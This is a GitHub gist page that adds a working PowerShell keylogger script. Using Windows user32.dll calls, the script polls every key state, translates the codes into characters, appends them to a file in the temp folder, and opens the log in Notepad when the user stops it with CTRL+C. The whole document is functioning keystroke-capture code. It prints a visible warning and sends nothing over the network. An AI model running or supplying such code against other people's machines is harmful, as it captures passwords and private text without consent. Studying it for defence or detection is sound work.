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dasgoll/gist:7ca1c059dd3b3fbc7277

Created December 11, 2015 16:44
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  1. dasgoll created this gist Dec 11, 2015.
    71 changes: 71 additions & 0 deletions gistfile1.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,71 @@
    #requires -Version 2
    function Start-KeyLogger($Path="$env:temp\keylogger.txt")
    {
    # Signatures for API Calls
    $signatures = @'
    [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
    public static extern short GetAsyncKeyState(int virtualKeyCode);
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int GetKeyboardState(byte[] keystate);
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MapVirtualKey(uint uCode, int uMapType);
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
    '@

    # load signatures and make members available
    $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

    # create output file
    $null = New-Item -Path $Path -ItemType File -Force

    try
    {
    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

    # create endless loop. When user presses CTRL+C, finally-block
    # executes and shows the collected key presses
    while ($true) {
    Start-Sleep -Milliseconds 40

    # scan all ASCII codes above 8
    for ($ascii = 9; $ascii -le 254; $ascii++) {
    # get current key state
    $state = $API::GetAsyncKeyState($ascii)

    # is key pressed?
    if ($state -eq -32767) {
    $null = [console]::CapsLock

    # translate scan code to real code
    $virtualKey = $API::MapVirtualKey($ascii, 3)

    # get keyboard state for virtual keys
    $kbstate = New-Object Byte[] 256
    $checkkbstate = $API::GetKeyboardState($kbstate)

    # prepare a StringBuilder to receive input key
    $mychar = New-Object -TypeName System.Text.StringBuilder

    # translate virtual key
    $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

    if ($success)
    {
    # add key to logger file
    [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
    }
    }
    }
    }
    }
    finally
    {
    # open logger file in Notepad
    notepad $Path
    }
    }

    # records all key presses until script is aborted by pressing CTRL+C
    # will then open the file with collected key codes
    Start-KeyLogger